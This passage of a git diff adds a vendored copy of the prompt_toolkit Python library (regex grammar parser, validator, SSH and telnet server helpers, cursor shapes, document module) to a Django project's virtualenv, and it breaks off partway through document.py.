"Lookahead", + "tokenize_regex", + "parse_regex", +] + + +class Node: + """ + Base class for all the grammar nodes. + (You don't initialize this one.) + """ + + def __add__(self, other_node: "Node") -> "NodeSequence": + return NodeSequence([self, other_node]) + + def __or__(self, other_node: "Node") -> "AnyNode": + return AnyNode([self, other_node]) + + +class AnyNode(Node): + """ + Union operation (OR operation) between several grammars. You don't + initialize this yourself, but it's a result of a "Grammar1 | Grammar2" + operation. + """ + + def __init__(self, children: List[Node]) -> None: + self.children = children + + def __or__(self, other_node: Node) -> "AnyNode": + return AnyNode(self.children + [other_node]) + + def __repr__(self) -> str: + return f"{self.__class__.__name__}({self.children!r})" + + +class NodeSequence(Node): + """ + Concatenation operation of several grammars. You don't initialize this + yourself, but it's a result of a "Grammar1 + Grammar2" operation. + """ + + def __init__(self, children: List[Node]) -> None: + self.children = children + + def __add__(self, other_node: Node) -> "NodeSequence": + return NodeSequence(self.children + [other_node]) + + def __repr__(self) -> str: + return f"{self.__class__.__name__}({self.children!r})" + + +class Regex(Node): + """ + Regular expression. + """ + + def __init__(self, regex: str) -> None: + re.compile(regex) # Validate + + self.regex = regex + + def __repr__(self) -> str: + return f"{self.__class__.__name__}(/{self.regex}/)" + + +class Lookahead(Node): + """ + Lookahead expression. + """ + + def __init__(self, childnode: Node, negative: bool = False) -> None: + self.childnode = childnode + self.negative = negative + + def __repr__(self) -> str: + return f"{self.__class__.__name__}({self.childnode!r})" + + +class Variable(Node): + """ + Mark a variable in the regular grammar. This will be translated into a + named group. Each variable can have his own completer, validator, etc.. + + :param childnode: The grammar which is wrapped inside this variable. + :param varname: String. + """ + + def __init__(self, childnode: Node, varname: str = "") -> None: + self.childnode = childnode + self.varname = varname + + def __repr__(self) -> str: + return "{}(childnode={!r}, varname={!r})".format( + self.__class__.__name__, + self.childnode, + self.varname, + ) + + +class Repeat(Node): + def __init__( + self, + childnode: Node, + min_repeat: int = 0, + max_repeat: Optional[int] = None, + greedy: bool = True, + ) -> None: + self.childnode = childnode + self.min_repeat = min_repeat + self.max_repeat = max_repeat + self.greedy = greedy + + def __repr__(self) -> str: + return f"{self.__class__.__name__}(childnode={self.childnode!r})" + + +def tokenize_regex(input: str) -> List[str]: + """ + Takes a string, representing a regular expression as input, and tokenizes + it. + + :param input: string, representing a regular expression. + :returns: List of tokens. + """ + # Regular expression for tokenizing other regular expressions. + p = re.compile( + r"""^( + \(\?P\<[a-zA-Z0-9_-]+\> | # Start of named group. + \(\?#[^)]*\) | # Comment + \(\?= | # Start of lookahead assertion + \(\?! | # Start of negative lookahead assertion + \(\?<= | # If preceded by. + \(\?< | # If not preceded by. + \(?: | # Start of group. (non capturing.) + \( | # Start of group. + \(?[iLmsux] | # Flags. + \(?P=[a-zA-Z]+\) | # Back reference to named group + \) | # End of group. + \{[^{}]*\} | # Repetition + \*\? | \+\? | \?\?\ | # Non greedy repetition. + \* | \+ | \? | # Repetition + \#.*\n | # Comment + \\. | + + # Character group. + \[ + ( [^\]\\] | \\.)* + \] | + + [^(){}] | + . + )""", + re.VERBOSE, + ) + + tokens = [] + + while input: + m = p.match(input) + if m: + token, input = input[: m.end()], input[m.end() :] + if not token.isspace(): + tokens.append(token) + else: + raise Exception("Could not tokenize input regex.") + + return tokens + + +def parse_regex(regex_tokens: List[str]) -> Node: + """ + Takes a list of tokens from the tokenizer, and returns a parse tree. + """ + # We add a closing brace because that represents the final pop of the stack. + tokens: List[str] = [")"] + regex_tokens[::-1] + + def wrap(lst: List[Node]) -> Node: + """Turn list into sequence when it contains several items.""" + if len(lst) == 1: + return lst[0] + else: + return NodeSequence(lst) + + def _parse() -> Node: + or_list: List[List[Node]] = [] + result: List[Node] = [] + + def wrapped_result() -> Node: + if or_list == []: + return wrap(result) + else: + or_list.append(result) + return AnyNode([wrap(i) for i in or_list]) + + while tokens: + t = tokens.pop() + + if t.startswith("(?P<"): + variable = Variable(_parse(), varname=t[4:-1]) + result.append(variable) + + elif t in ("*", "*?"): + greedy = t == "*" + result[-1] = Repeat(result[-1], greedy=greedy) + + elif t in ("+", "+?"): + greedy = t == "+" + result[-1] = Repeat(result[-1], min_repeat=1, greedy=greedy) + + elif t in ("?", "??"): + if result == []: + raise Exception("Nothing to repeat." + repr(tokens)) + else: + greedy = t == "?" + result[-1] = Repeat( + result[-1], min_repeat=0, max_repeat=1, greedy=greedy + ) + + elif t == "|": + or_list.append(result) + result = [] + + elif t in ("(", "(?:"): + result.append(_parse()) + + elif t == "(?!": + result.append(Lookahead(_parse(), negative=True)) + + elif t == "(?=": + result.append(Lookahead(_parse(), negative=False)) + + elif t == ")": + return wrapped_result() + + elif t.startswith("#"): + pass + + elif t.startswith("{"): + # TODO: implement! + raise Exception(f"{t}-style repetition not yet supported") + + elif t.startswith("(?"): + raise Exception("%r not supported" % t) + + elif t.isspace(): + pass + else: + result.append(Regex(t)) + + raise Exception("Expecting ')' token") + + result = _parse() + + if len(tokens) != 0: + raise Exception("Unmatched parentheses.") + else: + return result diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/regular_languages/validation.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/regular_languages/validation.py new file mode 100644 index 00000000..71d34340 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/regular_languages/validation.py @@ -0,0 +1,60 @@ +""" +Validator for a regular language. +""" +from typing import Dict + +from prompt_toolkit.document import Document +from prompt_toolkit.validation import ValidationError, Validator + +from .compiler import _CompiledGrammar + +__all__ = [ + "GrammarValidator", +] + + +class GrammarValidator(Validator): + """ + Validator which can be used for validation according to variables in + the grammar. Each variable can have its own validator. + + :param compiled_grammar: `GrammarCompleter` instance. + :param validators: `dict` mapping variable names of the grammar to the + `Validator` instances to be used for each variable. + """ + + def __init__( + self, compiled_grammar: _CompiledGrammar, validators: Dict[str, Validator] + ) -> None: + + self.compiled_grammar = compiled_grammar + self.validators = validators + + def validate(self, document: Document) -> None: + # Parse input document. + # We use `match`, not `match_prefix`, because for validation, we want + # the actual, unambiguous interpretation of the input. + m = self.compiled_grammar.match(document.text) + + if m: + for v in m.variables(): + validator = self.validators.get(v.varname) + + if validator: + # Unescape text. + unwrapped_text = self.compiled_grammar.unescape(v.varname, v.value) + + # Create a document, for the completions API (text/cursor_position) + inner_document = Document(unwrapped_text, len(unwrapped_text)) + + try: + validator.validate(inner_document) + except ValidationError as e: + raise ValidationError( + cursor_position=v.start + e.cursor_position, + message=e.message, + ) from e + else: + raise ValidationError( + cursor_position=len(document.text), message="Invalid command" + ) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/ssh/__init__.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/ssh/__init__.py new file mode 100644 index 00000000..a895ca22 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/ssh/__init__.py @@ -0,0 +1,6 @@ +from .server import PromptToolkitSSHServer, PromptToolkitSSHSession + +__all__ = [ + "PromptToolkitSSHSession", + "PromptToolkitSSHServer", +] diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/ssh/server.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/ssh/server.py new file mode 100644 index 00000000..2b593555 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/ssh/server.py @@ -0,0 +1,161 @@ +""" +Utility for running a prompt_toolkit application in an asyncssh server. +""" +import asyncio +import traceback +from typing import Any, Awaitable, Callable, Optional, TextIO, cast + +import asyncssh + +from prompt_toolkit.application.current import AppSession, create_app_session +from prompt_toolkit.data_structures import Size +from prompt_toolkit.eventloop import get_event_loop +from prompt_toolkit.input import PipeInput, create_pipe_input +from prompt_toolkit.output.vt100 import Vt100_Output + +__all__ = ["PromptToolkitSSHSession", "PromptToolkitSSHServer"] + + +class PromptToolkitSSHSession(asyncssh.SSHServerSession): # type: ignore + def __init__( + self, interact: Callable[["PromptToolkitSSHSession"], Awaitable[None]] + ) -> None: + self.interact = interact + self.interact_task: Optional[asyncio.Task[None]] = None + self._chan: Optional[Any] = None + self.app_session: Optional[AppSession] = None + + # PipInput object, for sending input in the CLI. + # (This is something that we can use in the prompt_toolkit event loop, + # but still write date in manually.) + self._input: Optional[PipeInput] = None + self._output: Optional[Vt100_Output] = None + + # Output object. Don't render to the real stdout, but write everything + # in the SSH channel. + class Stdout: + def write(s, data: str) -> None: + try: + if self._chan is not None: + self._chan.write(data.replace("\n", "\r\n")) + except BrokenPipeError: + pass # Channel not open for sending. + + def isatty(s) -> bool: + return True + + def flush(s) -> None: + pass + + @property + def encoding(s) -> str: + assert self._chan is not None + return str(self._chan._orig_chan.get_encoding()[0]) + + self.stdout = cast(TextIO, Stdout()) + + def _get_size(self) -> Size: + """ + Callable that returns the current `Size`, required by Vt100_Output. + """ + if self._chan is None: + return Size(rows=20, columns=79) + else: + width, height, pixwidth, pixheight = self._chan.get_terminal_size() + return Size(rows=height, columns=width) + + def connection_made(self, chan: Any) -> None: + self._chan = chan + + def shell_requested(self) -> bool: + return True + + def session_started(self) -> None: + self.interact_task = get_event_loop().create_task(self._interact()) + + async def _interact(self) -> None: + if self._chan is None: + # Should not happen. + raise Exception("`_interact` called before `connection_made`.") + + if hasattr(self._chan, "set_line_mode") and self._chan._editor is not None: + # Disable the line editing provided by asyncssh. Prompt_toolkit + # provides the line editing. + self._chan.set_line_mode(False) + + term = self._chan.get_terminal_type() + + self._output = Vt100_Output( + self.stdout, self._get_size, term=term, write_binary=False + ) + with create_pipe_input() as self._input: + with create_app_session(input=self._input, output=self._output) as session: + self.app_session = session + try: + await self.interact(self) + except BaseException: + traceback.print_exc() + finally: + # Close the connection. + self._chan.close() + self._input.close() + + def terminal_size_changed( + self, width: int, height: int, pixwidth: object, pixheight: object + ) -> None: + # Send resize event to the current application. + if self.app_session and self.app_session.app: + self.app_session.app._on_resize() + + def data_received(self, data: str, datatype: object) -> None: + if self._input is None: + # Should not happen. + return + + self._input.send_text(data) + + +class PromptToolkitSSHServer(asyncssh.SSHServer): # type: ignore + """ + Run a prompt_toolkit application over an asyncssh server. + + This takes one argument, an `interact` function, which is called for each + connection. This should be an asynchronous function that runs the + prompt_toolkit applications. This function runs in an `AppSession`, which + means that we can have multiple UI interactions concurrently. + + Example usage: + + .. code:: python + + async def interact(ssh_session: PromptToolkitSSHSession) -> None: + await yes_no_dialog("my title", "my text").run_async() + + prompt_session = PromptSession() + text = await prompt_session.prompt_async("Type something: ") + print_formatted_text('You said: ', text) + + server = PromptToolkitSSHServer(interact=interact) + loop = get_event_loop() + loop.run_until_complete( + asyncssh.create_server( + lambda: MySSHServer(interact), + "", + port, + server_host_keys=["/etc/ssh/..."], + ) + ) + loop.run_forever() + """ + + def __init__( + self, interact: Callable[[PromptToolkitSSHSession], Awaitable[None]] + ) -> None: + self.interact = interact + + def begin_auth(self, username: str) -> bool: + # No authentication. + return False + + def session_requested(self) -> PromptToolkitSSHSession: + return PromptToolkitSSHSession(self.interact) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/telnet/__init__.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/telnet/__init__.py new file mode 100644 index 00000000..b29f7d28 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/telnet/__init__.py @@ -0,0 +1,5 @@ +from .server import TelnetServer + +__all__ = [ + "TelnetServer", +] diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/telnet/log.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/telnet/log.py new file mode 100644 index 00000000..24487aba --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/telnet/log.py @@ -0,0 +1,10 @@ +""" +Python logger for the telnet server. +""" +import logging + +logger = logging.getLogger(__package__) + +__all__ = [ + "logger", +] diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/telnet/protocol.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/telnet/protocol.py new file mode 100644 index 00000000..68f36398 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/telnet/protocol.py @@ -0,0 +1,207 @@ +""" +Parser for the Telnet protocol. (Not a complete implementation of the telnet +specification, but sufficient for a command line interface.) + +Inspired by `Twisted.conch.telnet`. +""" +import struct +from typing import Callable, Generator + +from .log import logger + +__all__ = [ + "TelnetProtocolParser", +] + + +def int2byte(number: int) -> bytes: + return bytes((number,)) + + +# Telnet constants. +NOP = int2byte(0) +SGA = int2byte(3) + +IAC = int2byte(255) +DO = int2byte(253) +DONT = int2byte(254) +LINEMODE = int2byte(34) +SB = int2byte(250) +WILL = int2byte(251) +WONT = int2byte(252) +MODE = int2byte(1) +SE = int2byte(240) +ECHO = int2byte(1) +NAWS = int2byte(31) +LINEMODE = int2byte(34) +SUPPRESS_GO_AHEAD = int2byte(3) + +TTYPE = int2byte(24) +SEND = int2byte(1) +IS = int2byte(0) + +DM = int2byte(242) +BRK = int2byte(243) +IP = int2byte(244) +AO = int2byte(245) +AYT = int2byte(246) +EC = int2byte(247) +EL = int2byte(248) +GA = int2byte(249) + + +class TelnetProtocolParser: + """ + Parser for the Telnet protocol. + Usage:: + + def data_received(data): + print(data) + + def size_received(rows, columns): + print(rows, columns) + + p = TelnetProtocolParser(data_received, size_received) + p.feed(binary_data) + """ + + def __init__( + self, + data_received_callback: Callable[[bytes], None], + size_received_callback: Callable[[int, int], None], + ttype_received_callback: Callable[[str], None], + ) -> None: + + self.data_received_callback = data_received_callback + self.size_received_callback = size_received_callback + self.ttype_received_callback = ttype_received_callback + + self._parser = self._parse_coroutine() + self._parser.send(None) # type: ignore + + def received_data(self, data: bytes) -> None: + self.data_received_callback(data) + + def do_received(self, data: bytes) -> None: + """Received telnet DO command.""" + logger.info("DO %r", data) + + def dont_received(self, data: bytes) -> None: + """Received telnet DONT command.""" + logger.info("DONT %r", data) + + def will_received(self, data: bytes) -> None: + """Received telnet WILL command.""" + logger.info("WILL %r", data) + + def wont_received(self, data: bytes) -> None: + """Received telnet WONT command.""" + logger.info("WONT %r", data) + + def command_received(self, command: bytes, data: bytes) -> None: + if command == DO: + self.do_received(data) + + elif command == DONT: + self.dont_received(data) + + elif command == WILL: + self.will_received(data) + + elif command == WONT: + self.wont_received(data) + + else: + logger.info("command received %r %r", command, data) + + def naws(self, data: bytes) -> None: + """ + Received NAWS. (Window dimensions.) + """ + if len(data) == 4: + # NOTE: the first parameter of struct.unpack should be + # a 'str' object. Both on Py2/py3. This crashes on OSX + # otherwise. + columns, rows = struct.unpack("!HH", data) + self.size_received_callback(rows, columns) + else: + logger.warning("Wrong number of NAWS bytes") + + def ttype(self, data: bytes) -> None: + """ + Received terminal type. + """ + subcmd, data = data[0:1], data[1:] + if subcmd == IS: + ttype = data.decode("ascii") + self.ttype_received_callback(ttype) + else: + logger.warning("Received a non-IS terminal type Subnegotiation") + + def negotiate(self, data: bytes) -> None: + """ + Got negotiate data. + """ + command, payload = data[0:1], data[1:] + + if command == NAWS: + self.naws(payload) + elif command == TTYPE: + self.ttype(payload) + else: + logger.info("Negotiate (%r got bytes)", len(data)) + + def _parse_coroutine(self) -> Generator[None, bytes, None]: + """ + Parser state machine. + Every 'yield' expression returns the next byte. + """ + while True: + d = yield + + if d == int2byte(0): + pass # NOP + + # Go to state escaped. + elif d == IAC: + d2 = yield + + if d2 == IAC: + self.received_data(d2) + + # Handle simple commands. + elif d2 in (NOP, DM, BRK, IP, AO, AYT, EC, EL, GA): + self.command_received(d2, b"") + + # Handle IAC-[DO/DONT/WILL/WONT] commands. + elif d2 in (DO, DONT, WILL, WONT): + d3 = yield + self.command_received(d2, d3) + + # Subnegotiation + elif d2 == SB: + # Consume everything until next IAC-SE + data = [] + + while True: + d3 = yield + + if d3 == IAC: + d4 = yield + if d4 == SE: + break + else: + data.append(d4) + else: + data.append(d3) + + self.negotiate(b"".join(data)) + else: + self.received_data(d) + + def feed(self, data: bytes) -> None: + """ + Feed data to the parser. + """ + for b in data: + self._parser.send(int2byte(b)) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/telnet/server.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/telnet/server.py new file mode 100644 index 00000000..4dfeb7fe --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/contrib/telnet/server.py @@ -0,0 +1,377 @@ +""" +Telnet server. +""" +import asyncio +import socket +import sys +from typing import Any, Awaitable, Callable, List, Optional, Set, TextIO, Tuple, cast + +from prompt_toolkit.application.current import create_app_session, get_app +from prompt_toolkit.application.run_in_terminal import run_in_terminal +from prompt_toolkit.data_structures import Size +from prompt_toolkit.eventloop import get_event_loop +from prompt_toolkit.formatted_text import AnyFormattedText, to_formatted_text +from prompt_toolkit.input import PipeInput, create_pipe_input +from prompt_toolkit.output.vt100 import Vt100_Output +from prompt_toolkit.renderer import print_formatted_text as print_formatted_text +from prompt_toolkit.styles import BaseStyle, DummyStyle + +from .log import logger +from .protocol import ( + DO, + ECHO, + IAC, + LINEMODE, + MODE, + NAWS, + SB, + SE, + SEND, + SUPPRESS_GO_AHEAD, + TTYPE, + WILL, + TelnetProtocolParser, +) + +if sys.version_info >= (3, 7): + import contextvars # Requires Python3.7! +else: + contextvars: Any = None + +__all__ = [ + "TelnetServer", +] + + +def int2byte(number: int) -> bytes: + return bytes((number,)) + + +def _initialize_telnet(connection: socket.socket) -> None: + logger.info("Initializing telnet connection") + + # Iac Do Linemode + connection.send(IAC + DO + LINEMODE) + + # Suppress Go Ahead. (This seems important for Putty to do correct echoing.) + # This will allow bi-directional operation. + connection.send(IAC + WILL + SUPPRESS_GO_AHEAD) + + # Iac sb + connection.send(IAC + SB + LINEMODE + MODE + int2byte(0) + IAC + SE) + + # IAC Will Echo + connection.send(IAC + WILL + ECHO) + + # Negotiate window size + connection.send(IAC + DO + NAWS) + + # Negotiate terminal type + # Assume the client will accept the negociation with `IAC + WILL + TTYPE` + connection.send(IAC + DO + TTYPE) + + # We can then select the first terminal type supported by the client, + # which is generally the best type the client supports + # The client should reply with a `IAC + SB + TTYPE + IS + ttype + IAC + SE` + connection.send(IAC + SB + TTYPE + SEND + IAC + SE) + + +class _ConnectionStdout: + """ + Wrapper around socket which provides `write` and `flush` methods for the + Vt100_Output output. + """ + + def __init__(self, connection: socket.socket, encoding: str) -> None: + self._encoding = encoding + self._connection = connection + self._errors = "strict" + self._buffer: List[bytes] = [] + self._closed = False + + def write(self, data: str) -> None: + data = data.replace("\n", "\r\n") + self._buffer.append(data.encode(self._encoding, errors=self._errors)) + self.flush() + + def isatty(self) -> bool: + return True + + def flush(self) -> None: + try: + if not self._closed: + self._connection.send(b"".join(self._buffer)) + except OSError as e: + logger.warning("Couldn't send data over socket: %s" % e) + + self._buffer = [] + + def close(self) -> None: + self._closed = True + + @property + def encoding(self) -> str: + return self._encoding + + @property + def errors(self) -> str: + return self._errors + + +class TelnetConnection: + """ + Class that represents one Telnet connection. + """ + + def __init__( + self, + conn: socket.socket, + addr: Tuple[str, int], + interact: Callable[["TelnetConnection"], Awaitable[None]], + server: "TelnetServer", + encoding: str, + style: Optional[BaseStyle], + vt100_input: PipeInput, + ) -> None: + + self.conn = conn + self.addr = addr + self.interact = interact + self.server = server + self.encoding = encoding + self.style = style + self._closed = False + self._ready = asyncio.Event() + self.vt100_input = vt100_input + self.vt100_output = None + + # Create "Output" object. + self.size = Size(rows=40, columns=79) + + # Initialize. + _initialize_telnet(conn) + + # Create output. + def get_size() -> Size: + return self.size + + self.stdout = cast(TextIO, _ConnectionStdout(conn, encoding=encoding)) + + def data_received(data: bytes) -> None: + """TelnetProtocolParser 'data_received' callback""" + self.vt100_input.send_bytes(data) + + def size_received(rows: int, columns: int) -> None: + """TelnetProtocolParser 'size_received' callback""" + self.size = Size(rows=rows, columns=columns) + if self.vt100_output is not None and self.context: + self.context.run(lambda: get_app()._on_resize()) + + def ttype_received(ttype: str) -> None: + """TelnetProtocolParser 'ttype_received' callback""" + self.vt100_output = Vt100_Output( + self.stdout, get_size, term=ttype, write_binary=False + ) + self._ready.set() + + self.parser = TelnetProtocolParser(data_received, size_received, ttype_received) + self.context: Optional[contextvars.Context] = None + + async def run_application(self) -> None: + """ + Run application. + """ + + def handle_incoming_data() -> None: + data = self.conn.recv(1024) + if data: + self.feed(data) + else: + # Connection closed by client. + logger.info("Connection closed by client. %r %r" % self.addr) + self.close() + + # Add reader. + loop = get_event_loop() + loop.add_reader(self.conn, handle_incoming_data) + + try: + # Wait for v100_output to be properly instantiated + await self._ready.wait() + with create_app_session(input=self.vt100_input, output=self.vt100_output): + self.context = contextvars.copy_context() + await self.interact(self) + finally: + self.close() + + def feed(self, data: bytes) -> None: + """ + Handler for incoming data. (Called by TelnetServer.) + """ + self.parser.feed(data) + + def close(self) -> None: + """ + Closed by client. + """ + if not self._closed: + self._closed = True + + self.vt100_input.close() + get_event_loop().remove_reader(self.conn) + self.conn.close() + self.stdout.close() + + def send(self, formatted_text: AnyFormattedText) -> None: + """ + Send text to the client. + """ + if self.vt100_output is None: + return + formatted_text = to_formatted_text(formatted_text) + print_formatted_text( + self.vt100_output, formatted_text, self.style or DummyStyle() + ) + + def send_above_prompt(self, formatted_text: AnyFormattedText) -> None: + """ + Send text to the client. + This is asynchronous, returns a `Future`. + """ + formatted_text = to_formatted_text(formatted_text) + return self._run_in_terminal(lambda: self.send(formatted_text)) + + def _run_in_terminal(self, func: Callable[[], None]) -> None: + # Make sure that when an application was active for this connection, + # that we print the text above the application. + if self.context: + self.context.run(run_in_terminal, func) + else: + raise RuntimeError("Called _run_in_terminal outside `run_application`.") + + def erase_screen(self) -> None: + """ + Erase the screen and move the cursor to the top. + """ + if self.vt100_output is None: + return + self.vt100_output.erase_screen() + self.vt100_output.cursor_goto(0, 0) + self.vt100_output.flush() + + +async def _dummy_interact(connection: TelnetConnection) -> None: + pass + + +class TelnetServer: + """ + Telnet server implementation. + """ + + def __init__( + self, + host: str = "127.0.0.1", + port: int = 23, + interact: Callable[[TelnetConnection], Awaitable[None]] = _dummy_interact, + encoding: str = "utf-8", + style: Optional[BaseStyle] = None, + ) -> None: + + self.host = host + self.port = port + self.interact = interact + self.encoding = encoding + self.style = style + self._application_tasks: List[asyncio.Task[None]] = [] + + self.connections: Set[TelnetConnection] = set() + self._listen_socket: Optional[socket.socket] = None + + @classmethod + def _create_socket(cls, host: str, port: int) -> socket.socket: + # Create and bind socket + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + s.bind((host, port)) + + s.listen(4) + return s + + def start(self) -> None: + """ + Start the telnet server. + Don't forget to call `loop.run_forever()` after doing this. + """ + self._listen_socket = self._create_socket(self.host, self.port) + logger.info( + "Listening for telnet connections on %s port %r", self.host, self.port + ) + + get_event_loop().add_reader(self._listen_socket, self._accept) + + async def stop(self) -> None: + if self._listen_socket: + get_event_loop().remove_reader(self._listen_socket) + self._listen_socket.close() + + # Wait for all applications to finish. + for t in self._application_tasks: + t.cancel() + + for t in self._application_tasks: + try: + await t + except asyncio.CancelledError: + logger.debug("Task %s cancelled", str(t)) + + def _accept(self) -> None: + """ + Accept new incoming connection. + """ + if self._listen_socket is None: + return # Should not happen. `_accept` is called after `start`. + + conn, addr = self._listen_socket.accept() + logger.info("New connection %r %r", *addr) + + # Run application for this connection. + async def run() -> None: + try: + with create_pipe_input() as vt100_input: + connection = TelnetConnection( + conn, + addr, + self.interact, + self, + encoding=self.encoding, + style=self.style, + vt100_input=vt100_input, + ) + self.connections.add(connection) + + logger.info("Starting interaction %r %r", *addr) + try: + await connection.run_application() + finally: + self.connections.remove(connection) + logger.info("Stopping interaction %r %r", *addr) + except EOFError: + # Happens either when the connection is closed by the client + # (e.g., when the user types 'control-]', then 'quit' in the + # telnet client) or when the user types control-d in a prompt + # and this is not handled by the interact function. + logger.info("Unhandled EOFError in telnet application.") + except KeyboardInterrupt: + # Unhandled control-c propagated by a prompt. + logger.info("Unhandled KeyboardInterrupt in telnet application.") + except BaseException as e: + print("Got %s" % type(e).__name__, e) + import traceback + + traceback.print_exc() + finally: + self._application_tasks.remove(task) + + task = get_event_loop().create_task(run()) + self._application_tasks.append(task) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/cursor_shapes.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/cursor_shapes.py new file mode 100644 index 00000000..d38b3505 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/cursor_shapes.py @@ -0,0 +1,102 @@ +from abc import ABC, abstractmethod +from enum import Enum +from typing import TYPE_CHECKING, Any, Callable, Union + +from prompt_toolkit.enums import EditingMode +from prompt_toolkit.key_binding.vi_state import InputMode + +if TYPE_CHECKING: + from .application import Application + +__all__ = [ + "CursorShape", + "CursorShapeConfig", + "SimpleCursorShapeConfig", + "ModalCursorShapeConfig", + "DynamicCursorShapeConfig", + "to_cursor_shape_config", +] + + +class CursorShape(Enum): + # Default value that should tell the output implementation to never send + # cursor shape escape sequences. This is the default right now, because + # before this `CursorShape` functionality was introduced into + # prompt_toolkit itself, people had workarounds to send cursor shapes + # escapes into the terminal, by monkey patching some of prompt_toolkit's + # internals. We don't want the default prompt_toolkit implemetation to + # interefere with that. E.g., IPython patches the `ViState.input_mode` + # property. See: https://github.com/ipython/ipython/pull/13501/files + _NEVER_CHANGE = "_NEVER_CHANGE" + + BLOCK = "BLOCK" + BEAM = "BEAM" + UNDERLINE = "UNDERLINE" + BLINKING_BLOCK = "BLINKING_BLOCK" + BLINKING_BEAM = "BLINKING_BEAM" + BLINKING_UNDERLINE = "BLINKING_UNDERLINE" + + +class CursorShapeConfig(ABC): + @abstractmethod + def get_cursor_shape(self, application: "Application[Any]") -> CursorShape: + """ + Return the cursor shape to be used in the current state. + """ + + +AnyCursorShapeConfig = Union[CursorShape, CursorShapeConfig, None] + + +class SimpleCursorShapeConfig(CursorShapeConfig): + """ + Always show the given cursor shape. + """ + + def __init__(self, cursor_shape: CursorShape = CursorShape._NEVER_CHANGE) -> None: + self.cursor_shape = cursor_shape + + def get_cursor_shape(self, application: "Application[Any]") -> CursorShape: + return self.cursor_shape + + +class ModalCursorShapeConfig(CursorShapeConfig): + """ + Show cursor shape according to the current input mode. + """ + + def get_cursor_shape(self, application: "Application[Any]") -> CursorShape: + if application.editing_mode == EditingMode.VI: + if application.vi_state.input_mode == InputMode.INSERT: + return CursorShape.BEAM + if application.vi_state.input_mode == InputMode.REPLACE: + return CursorShape.UNDERLINE + + # Default + return CursorShape.BLOCK + + +class DynamicCursorShapeConfig(CursorShapeConfig): + def __init__( + self, get_cursor_shape_config: Callable[[], AnyCursorShapeConfig] + ) -> None: + self.get_cursor_shape_config = get_cursor_shape_config + + def get_cursor_shape(self, application: "Application[Any]") -> CursorShape: + return to_cursor_shape_config(self.get_cursor_shape_config()).get_cursor_shape( + application + ) + + +def to_cursor_shape_config(value: AnyCursorShapeConfig) -> CursorShapeConfig: + """ + Take a `CursorShape` instance or `CursorShapeConfig` and turn it into a + `CursorShapeConfig`. + """ + if value is None: + return SimpleCursorShapeConfig() + + if isinstance(value, CursorShape): + return SimpleCursorShapeConfig(value) + + return value diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/data_structures.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/data_structures.py new file mode 100644 index 00000000..d031acff --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/data_structures.py @@ -0,0 +1,16 @@ +from typing import NamedTuple + +__all__ = [ + "Point", + "Size", +] + + +class Point(NamedTuple): + x: int + y: int + + +class Size(NamedTuple): + rows: int + columns: int diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/document.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/document.py new file mode 100644 index 00000000..19841552 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/document.py @@ -0,0 +1,1190 @@ +""" +The `Document` that implements all the text operations/querying. +""" +import bisect +import re +import string +import weakref +from typing import ( + Callable, + Dict, + Iterable, + List, + NoReturn, + Optional, + Pattern, + Tuple, + cast, +) + +from .clipboard import ClipboardData +from .filters import vi_mode +from .selection import PasteMode, SelectionState, SelectionType + +__all__ = [ + "Document", +] + + +# Regex for finding "words" in documents. (We consider a group of alnum +# characters a word, but also a group of special characters a word, as long as +# it doesn't contain a space.) +# (This is a 'word' in Vi.) +_FIND_WORD_RE = re.compile(r"([a-zA-Z0-9_]+|[^a-zA-Z0-9_\s]+)") +_FIND_CURRENT_WORD_RE = re.compile(r"^([a-zA-Z0-9_]+|[^a-zA-Z0-9_\s]+)") +_FIND_CURRENT_WORD_INCLUDE_TRAILING_WHITESPACE_RE = re.compile( + r"^(([a-zA-Z0-9_]+|[^a-zA-Z0-9_\s]+)\s*)" +) + +# Regex for finding "WORDS" in documents. +# (This is a 'WORD in Vi.) +_FIND_BIG_WORD_RE = re.compile(r"([^\s]+)") +_FIND_CURRENT_BIG_WORD_RE = re.compile(r"^([^\s]+)") +_FIND_CURRENT_BIG_WORD_INCLUDE_TRAILING_WHITESPACE_RE = re.compile(r"^([^\s]+\s*)") + +# Share the Document._cache between all Document instances. +# (Document instances are considered immutable. That means that if another +# `Document` is constructed with the same text, it should have the same +# `_DocumentCache`.) +_text_to_document_cache: Dict[str, "_DocumentCache"] = cast( + Dict[str, "_DocumentCache"], + weakref.WeakValueDictionary(), # Maps document.text to DocumentCache instance. +) + + +class 